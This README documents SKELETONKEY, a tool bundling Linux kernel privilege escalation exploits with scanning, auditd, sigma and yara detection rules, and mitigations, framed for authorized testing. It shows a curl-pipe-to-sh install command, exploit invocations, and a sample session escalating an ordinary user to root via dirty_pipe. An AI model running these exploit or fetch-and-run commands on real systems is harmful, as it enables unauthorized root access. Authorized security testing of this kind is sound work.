SKELETONKEY/README.md

SKELETONKEY

A curated, actively-maintained corpus of Linux kernel LPE exploits — bundled with their detection signatures, patch status, and version ranges. Run it on a system you own (or are authorized to test) and it tells you which historical and recent CVEs that system is still vulnerable to, and — with explicit confirmation — gets you root.

⚠️ Authorized testing only. SKELETONKEY is a research and red-team tool. By using it you assert you have explicit authorization to test the target system. See docs/ETHICS.md.

Quickstart

# One-shot install (x86_64 / arm64; checksum-verified)
curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh

skeletonkey runs as a normal unprivileged user — that's the whole point. --scan, --audit, --exploit, and --detect-rules all work without sudo. Only --mitigate and rule-file installation write to root-owned paths.

# What's this box vulnerable to?  (no sudo)
skeletonkey --scan

# Broader system hygiene (setuid binaries, world-writable, capabilities, sudo)
skeletonkey --audit

# Deploy detection rules (needs sudo to write /etc/audit/rules.d/)
skeletonkey --detect-rules --format=auditd | sudo tee /etc/audit/rules.d/99-skeletonkey.rules

# Apply temporary mitigations (needs sudo for modprobe.d + sysctl)
sudo skeletonkey --mitigate copy_fail

# Fleet scan (any-sized host list via SSH; aggregated JSON for SIEM)
./tools/skeletonkey-fleet-scan.sh --binary skeletonkey --ssh-key ~/.ssh/id_rsa hosts.txt

Example: unprivileged → root

$ id
uid=1000(kara) gid=1000(kara) groups=1000(kara)

$ skeletonkey --scan
[+] dirty_pipe       VULNERABLE (kernel 5.15.0-56-generic)
[+] cgroup_release_agent VULNERABLE (kernel 5.15 < 5.17)
[+] pwnkit           VULNERABLE (polkit 0.105-31ubuntu0.1)
[-] copy_fail        not vulnerable (kernel 5.15 < introduction)
[-] dirty_cow        not vulnerable (kernel ≥ 4.9)

$ skeletonkey --exploit dirty_pipe --i-know
[!] dirty_pipe: kernel 5.15.0-56-generic IS vulnerable
[+] dirty_pipe: writing UID=0 into /etc/passwd page cache...
[+] dirty_pipe: spawning su root
# id
uid=0(root) gid=0(root) groups=0(root)

skeletonkey --help lists every command. See CVES.md for the curated CVE inventory and docs/DEFENDERS.md for the blue-team deployment guide.

What this is

Most Linux LPE references are dead repos, broken PoCs, or single-CVE deep-dives. SKELETONKEY is a living corpus: each CVE that lands here is empirically verified to work on the kernels it claims to target, CI-tested across a distro matrix, and ships with the detection signatures defenders need to spot it in their environment.

The same binary covers offense and defense:

• skeletonkey --scan — fingerprint the host, report which bundled CVEs apply, and which are blocked by patches/config/LSM
• skeletonkey --exploit <CVE> — run the named exploit (with --i-know authorization gate)
• skeletonkey --detect-rules — dump auditd / sigma / yara rules for every bundled CVE so blue teams can drop them into their tooling
• skeletonkey --mitigate — apply temporary mitigations for CVEs the host is vulnerable to (sysctl knobs, module blacklists, etc.)

Status

Active — v0.3.0 cut 2026-05-16. Corpus covers 24 modules across the 2016 → 2026 LPE timeline:

• 🟢 13 modules land root end-to-end on a vulnerable host (copy_fail family ×5, dirty_pipe, entrybleed leak, pwnkit, overlayfs CVE-2021-3493, dirty_cow, ptrace_traceme, cgroup_release_agent, overlayfs_setuid CVE-2023-0386).
• 🟡 11 modules fire the kernel primitive by default and refuse to claim root without empirical confirmation. Pass --full-chain to engage the shared modprobe_path finisher and attempt root pop — requires kernel offsets via env vars / /proc/kallsyms / /boot/System.map; see docs/OFFSETS.md. Modules: af_packet, af_packet2, af_unix_gc, cls_route4, fuse_legacy, nf_tables, netfilter_xtcompat, nft_fwd_dup, nft_payload, nft_set_uaf, stackrot.
• Detection rules ship inline (auditd / sigma / yara / falco) and are exported via skeletonkey --detect-rules --format=….

See CVES.md for the per-CVE inventory + patch status. See ROADMAP.md for the next planned modules.

Why this exists

The Linux kernel privilege-escalation space is fragmented:

• linux-exploit-suggester / linpeas: suggest applicable exploits, don't run them
• auto-root-exploit / kernelpop: bundle exploits, but largely stale, no CI, no defensive signatures
• Per-CVE single-PoC repos: usually one author, often abandoned within months of release, often only one distro

SKELETONKEY's bet is that there's room for a single curated bundle that (1) actively maintains a small set of high-quality exploits across a multi-distro matrix, and (2) ships detection rules alongside each exploit so the same project serves both red and blue teams.

Architecture

Each CVE (or tightly-related family) is a module under modules/. Modules export a standard interface: detect(), exploit(), mitigate(), cleanup(), plus metadata describing affected kernel ranges, distro coverage, and CI test matrix.

Shared infrastructure (AppArmor bypass, su-exploitation primitives, fingerprinting, common utilities) lives in core/.

See docs/ARCHITECTURE.md for the module-loader design and how to add a new CVE.

Build & run

make                          # build all modules
./skeletonkey --scan              # what's this box vulnerable to?  (no sudo)
./skeletonkey --scan --json       # machine-readable output for CI/SOC pipelines
./skeletonkey --detect-rules --format=sigma > rules.yml
./skeletonkey --exploit copy_fail --i-know   # actually run an exploit (starts as $USER)

Acknowledgments

Each module credits the original CVE reporter and PoC author in its NOTICE.md. SKELETONKEY is the bundling and bookkeeping layer; the research credit belongs to the people who found the bugs.

License

MIT — see LICENSE.